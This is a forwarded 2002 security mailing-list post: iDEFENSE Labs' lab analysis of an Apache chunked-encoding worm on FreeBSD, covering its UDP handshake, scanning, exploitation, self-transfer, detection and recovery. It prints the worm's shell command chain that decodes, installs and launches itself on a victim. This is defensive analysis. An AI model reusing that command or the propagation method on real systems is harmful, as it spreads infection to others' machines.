From: "Kurt Seifried" To: Subject: Apache Worm Analysis (was Re: Apache worm in the wild) Date: Sun, 30 Jun 2002 16:25:48 -0600 Forwarded by request. -----Original Message----- From: David Endler [mailto:dendler AT idefense.com] Sent: Sunday, June 30, 2002 2:09 PM To: bugtraq AT securityfocus.com; freebsd-security AT freebsd.org Subject: Apache Worm Analysis (was Re: Apache worm in the wild) Based on the Bugtraq posted code from Domas Mituzas (http://dammit.lt/apache-worm/apache-worm.c), iDEFENSE Labs performed an initial analysis in a closed lab environment. The lab environment consisted of the following machines and applications: Host: wormbait Running fresh FreeBSD 4.5 x86 standard installation with Apache 1.3.20 default installation, lsof 4.64, and Tripwire 2.3.1-2 IP address 172.16.159.100 % uname -a FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT 2002 Host: attacker Running fresh FreeBSD 4.5 x86 standard installation, lsof 4.64, and Tripwire 2.3.1-2 IP address 172.16.159.57 % uname -a FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT 2002 Host: sniffer Redhat Linux 7.1 fully patched Passive network interface (no assigned IP address) in promiscuous mode with Ethereal and TCPdump PREPARATION The worm was compiled on the attacker host into a binary named .a: % gcc apache_code.c -o .a % mv .a /tmp % ls -l /tmp total 52 -rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a The worm's author hardcoded several features into the code, which make for shortcomings in the propagation routine. The worm binary MUST be named ".a" and be placed in the /tmp directory or else it cannot infect other hosts. If the binary is removed at any time from the /tmp directory while the worm is running in the background, it will only be able to upload blank benign copies of itself to future exploited hosts. Any FreeBSD installations that have the /tmp directory as a separate partition and have set the noexec flag will prevent the worm from scanning other hosts assuming the system has been infected. The following sections have been organized into the lifecycle of this worm: Listen for UDP packets -> Scan for new hosts -> Exploit found hosts -> Transfer payload to victim -> Launch new host -> Listen for UDP packets - > ... LISTEN The worm requires at least one argument to be run from the command line, although in most cases it will be automatically launched in future infection scenarios: % ./a /tmp/.a [base 2] ... The "base" argument is an IP address or hostname of the system that originally infected the attacker. The attacking computer (that has just been infected) sends a UDP packet to this base host and requires a response in the form of two UDP packets in order to launch. It is unclear why the author designed the worm to wait for these response packets before running. The following is the TCPdump packet that the attacker would send to the host that originally infected it. For the purposes of the analysis, we used the attacker is used as its own base host to start the scenario. Extrapolating from the log data, the initial packet looks like the following: 15:51:29.967989 attacker.2001 > base_host.2001: [udp sum ok] udp 16 (ttl 64, id 5868, len 44) 4500 002c 16ec 0000 4011 cd16 ac10 9f64 ac10 9f39 07d1 07d1 0018 e95c 7000 0000 0000 0000 0000 0000 0000 0000 The base host must then send back a response back to the newly infected attacker consisting of two UDP packets or else the worm will not begin scanning for new hosts. However, even if the responses are not received from the base host, the worm continues to listen on UDP port 2001. From source code analysis, it seems the UDP server is rather benign and does not provide backdoor Trojan capabilities, although it is extremely feasible that future variants may integrate that feature. Running netstat will show the listening port on an infected FreeBSD host as the "wizard" service, which is assigned to port 2001 in most /etc/services files: Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp4 0 0 *.smtp *.* LISTEN tcp4 0 0 *.ssh *.* LISTEN tcp46 0 0 *.ssh *.* LISTEN tcp4 0 0 *.ftp *.* LISTEN udp4 0 0 *.syslog *.* udp4 0 0 *.wizard *.* udp6 0 0 *.syslog *.* Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr c8ec7ec0 dgram 0 0 0 c8e97fc0 0 c8ec7e80 c8ec7e80 dgram 0 0 0 c8e97fc0 0 c8ec7f80 c8ec7f80 dgram 0 0 0 c8e97fc0 0 c8ec7fc0 c8ec7fc0 dgram 0 0 0 c8e97fc0 0 0 c8e97fc0 dgram 0 0 c8e92cc0 0 c8ec7ec0 0 Running lsof shows the following files and sockets being accessed by the worm (the last ten lines): % lsof adjkerntz 17 root txt VREG 116,131072 62264 42241 /sbin/adjkerntz syslogd 55 root 3u unix 0xc8520ec0 0t0 /var/run/log syslogd 55 root 9w VREG 116,131072 30522 253467 /var/log/messages syslogd 55 root 10w VREG 116,131072 0 253468 /var/log/security syslogd 55 root 11w VREG 116,131072 1573 253465 /var/log/maillog syslogd 55 root 12w VREG 116,131072 0 253464 /var/log/lpd-errs syslogd 55 root 13w VREG 116,131072 6233 253462 /var/log/cron syslogd 55 root 14w VREG 116,131072 0 253469 /var/log/slip.log syslogd 55 root 15w VREG 116,131072 0 253470 /var/log/ppp.log inetd 62 root txt VREG 116,131072 27088 212720 /usr/lib/libwrap.so.3 cron 64 root cwd VDIR 116,131072 512 253453 /var/cron cron 64 root 3uW VREG 116,131072 3 265182 /var/run/cron.pid sshd 66 root txt VREG 116,131072 121320 216910 /usr/lib/libasn1.so.3 sshd 66 root txt VREG 116,131072 27088 212720 /usr/lib/libwrap.so.3 sshd 66 root txt VREG 116,131072 34664 212691 /usr/lib/libpam.so.1 sendmail 70 root cwd VDIR 116,131072 512 253482 /var/spool/mqueue sendmail 70 root rtd VDIR 116,131072 512 2 / sendmail 70 root txt VREG 116,131072 403136 214274 /usr/libexec/sendmail/sendmail sendmail 70 root txt VREG 116,131072 76560 214314 /usr/libexec/ld-elf.so.1 sendmail 70 root txt VREG 116,131072 32912 212616 /usr/lib/libutil.so.3 sendmail 70 root txt VREG 116,131072 27088 212720 /usr/lib/libwrap.so.3 sendmail 70 root txt VREG 116,131072 177160 216844 /usr/lib/libssl.so.2 sendmail 70 root txt VREG 116,131072 762068 216836 /usr/lib/libcrypto.so.2 sendmail 70 root txt VREG 116,131072 573760 212628 /usr/lib/libc.so.4 sendmail 70 root 0r VCHR 2,2 0t0 232339 /dev/null sendmail 70 root 1w VCHR 2,2 0t0 232339 /dev/null sendmail 70 root 2w VCHR 2,2 0t0 232339 /dev/null sendmail 70 root 3u unix 0xc8520b00 0t0 - >0xc8520ec0 sendmail 70 root 4u IPv4 0xc85dcc60 0t0 TCP *:smtp (LISTEN) sendmail 70 root 5u IPv4 0xc85dca40 0t0 TCP *:submission (LISTEN) login 90 root txt VREG 116,131072 34664 212691 /usr/lib/libpam.so.1 login 90 root txt VREG 116,131072 4024 212687 /usr/lib/pam_skey.so login 90 root txt VREG 116,131072 3208 212683 /usr/lib/pam_cleartext_pass_ok.so login 90 root txt VREG 116,131072 4828 212689 /usr/lib/pam_unix.so login 90 root txt VREG 116,131072 3436 212685 /usr/lib/pam_permit.so login 91 root txt VREG 116,131072 34664 212691 /usr/lib/libpam.so.1 login 91 root txt VREG 116,131072 4024 212687 /usr/lib/pam_skey.so login 91 root txt VREG 116,131072 3208 212683 /usr/lib/pam_cleartext_pass_ok.so login 91 root txt VREG 116,131072 4828 212689 /usr/lib/pam_unix.so login 91 root txt VREG 116,131072 3436 212685 /usr/lib/pam_permit.so login 92 root txt VREG 116,131072 34664 212691 /usr/lib/libpam.so.1 login 92 root txt VREG 116,131072 4024 212687 /usr/lib/pam_skey.so login 92 root txt VREG 116,131072 3208 212683 /usr/lib/pam_cleartext_pass_ok.so login 92 root txt VREG 116,131072 4828 212689 /usr/lib/pam_unix.so login 92 root txt VREG 116,131072 3436 212685 /usr/lib/pam_permit.so csh 98 root cwd VDIR 116,131072 512 244353 /usr/local/apache/logs csh 100 root 3u PIPE 0xc8e81d40 16384 - >0xc8e81a20 csh 100 root 4u PIPE 0xc8e81a20 16384 - >0xc8e81d40 httpd 106 root txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 106 root 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 106 root 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 106 root 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 565 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 565 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 565 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 565 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 585 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 585 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 585 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 585 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 741 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 741 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 741 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 741 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 768 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 768 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 768 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 768 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 905 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 905 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 905 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 905 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log httpd 1011 nobody txt VREG 116,131072 471064 244356 /usr/local/apache/bin/httpd httpd 1011 nobody 2w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 1011 nobody 15w VREG 116,131072 2698 244751 /usr/local/apache/logs/error_log httpd 1011 nobody 17w VREG 116,131072 1217 244752 /usr/local/apache/logs/access_log .a 1103 root cwd VDIR 116,131072 512 274560 /tmp .a 1103 root rtd VDIR 116,131072 512 2 / .a 1103 root txt VREG 116,131072 51598 286300 /tmp/.a .a 1103 root txt VREG 116,131072 76560 214314 /usr/libexec/ld-elf.so.1 .a 1103 root txt VREG 116,131072 573760 212628 /usr/lib/libc.so.4 .a 1103 root 0u VCHR 2,2 0t0 232339 /dev/null .a 1103 root 1u VCHR 2,2 0t0 232339 /dev/null .a 1103 root 2u VCHR 2,2 0t0 232339 /dev/null .a 1103 root 3u VCHR 2,2 0t0 232339 /dev/null .a 1103 root 4u IPv4 0xc857ebc0 0t0 UDP *:wizard At any time, the owner of an infected computer can determine the original base host that infected it simply by looking at the process list: % ps aux | grep ".a" nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57 The required response packets by the waiting attacker from the base host look something like this in a TCPdump capture: 15:51:29.970308 base_host.2001 > attacker.2001: [udp sum ok] udp 20 (ttl 64, id 7130, len 48) 4500 0030 1bda 0000 4011 c824 ac10 9f39 ac10 9f64 07d1 07d1 001c 9adf 7300 0000 0000 0000 0000 0000 0000 0000 ac10 9f64 15:51:29.970626 base_host.2001 > attacker.2001: [udp sum ok] udp 24 (ttl 64, id 7131, len 52) 4500 0034 1bdb 0000 4011 c81f ac10 9f39 ac10 9f64 07d1 07d1 0020 498d 7100 0000 0000 0000 0800 0000 0000 0000 ac10 9f64 ac10 9f39 SCAN Once the attacker's worm receives these packets on the UDP server listening on port 2001, the worm begins to scan random class B IP address ranges for Apache web servers. iDEFENSE Labs modified the code slightly so it would instantly start scanning on the same class B (172.16.159.x) that the wormbait host was on. In order to find an active Apache web server, it sends the following web request: GET / HTTP/1.1 This request will show up as in the victim's Apache access logs as the following: 172.16.159.57 - - [29/Jun/2002:15:06:41 -0400] "GET / HTTP/1.1" 400 378 More importantly, the request will also show up the Apache error logs since a proper "Host:" header is not included, as seen here: [Sat Jun 29 15:06:41 2002] [error] [client 172.16.159.57] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / EXPLOIT When the worm receives the results of the HTTP response, it determines if the web server is running Apache by using a simple string compare function on the word "Apache". Regardless of version, the worm will try the two memory offsets to use in the chunked-encoding exploit for the respective targets of Apache 1.3.20 or 1.3.22-24. The exploit seems to use the exact same shellcode as the apache_nosejob.c posted by GOBBLES. iDEFENSE Labs also tested the worm on Apache 1.3.24 with the same successful exploitation results. The attacker then sends the chunked- encoding exploit over HTTP to the vulnerable Apache server, which looks something like this when reconstructed from the sniffer data: http://www.idefense.com/idtools/Apache%20Worm.txt TRANSFER Upon successful exploitation, the worm is able to upload a uuencoded copy of itself named ".uua" to the victim's /tmp directory. UUencode is a popular software utility used to translate mostly binary file types into a 7-bit ASCII set of characters so that they can be attached to an e-mail message or posted to a newsgroup. The worm (while still issuing commands through the buffer overflow exploit to the victim) issues a uudecode command through the established HTTP socket to extract the file into the .a binary. A user on an infected host would see the following two files in the /tmp directory: % ls -la /tmp total 122 -rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a -rw-r--r-- 1 nobody wheel 71113 Jun 29 17:49 .uua The attacker then executes the .a binary on the victim's host causing the cycle to be completed. The actual command stream that causes the last few events to occur is sent into the HTTP stream by the attack into the shell that results from successful exploitation of the chunked- encoding vulnerability: /usr/bin/uudecode -p /tmp/.uua > /tmp/.a;killall -9 .a;chmod +x /tmp/.a;killall -9 .a;/tmp/.a 172.16.159.57 The above sequence of commands stops all previous infected versions of the worm from running, since it's possible for multiple reinfections to occur from different originating hosts. ANALYSIS: This worm is just another component of the general vulnerability disclosure trend. When a vulnerability is first discovered, the vendor of the vulnerable software or hardware is often notified first. However, the time between disclosure and a proof-of- concept exploit is narrowing, as if the time between the disclosure of the exploit and the creation of the worm. And the trend will continue during the year(s) to come. This particular vulnerability in Apache's chunked encoding was publicly disclosed on June 17, 2002; an exploit was disclosed on June 19; this worm was discovered in the wild on June 28. Even though the range of exploitable applications and platforms was quite limited this time (FreeBSD only), it is extremely likely now that others will emerge given the source code is now publicly available. This worm was programmed in C in a rather sloppy fashion in what almost seems to have been a preexisting worm skeleton. Many of the functions and routines in the code are never called or used at all. It is almost as if these sections (such as the e-mail component and logging feature) were never fully configured properly. In fact, this seems more like a proof-of-concept worm since it causes no damage, barring any indirect denial of service or system resource over consumption. While this worm is somewhat benign in its payload, administrators should take caution as there are many others who can easily construct more destructive worms and release them in the wild with minimal technical expertise. DETECTION: Only FreeBSD 4.5 installations are affected currently. Look for the existence of the .a and .uua files in the /tmp directory, a UDP server running on port 2001, or many outbound web connections that are shown when running netstat. RECOVERY: Simply delete the files .a and .uua in the /tmp directory, and kill the worm process: % ps aux | grep ".a" nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57 % kill -9 1103 VENDOR FIX: Administrators should download and install HTTP Server 1.3.26, which corrects the chunked-encoding problem. It is available at http://www.apache.org/dist/httpd/apache_1.3.26.tar.gz. Michael Sutton Senior Security Engineer, iDEFENSE Labs msutton AT idefense.com David Endler Director, iDEFENSE Labs dendler AT idefense.com To Unsubscribe: send mail to majordomo AT FreeBSD.org with "unsubscribe freebsd-security" in the body of the message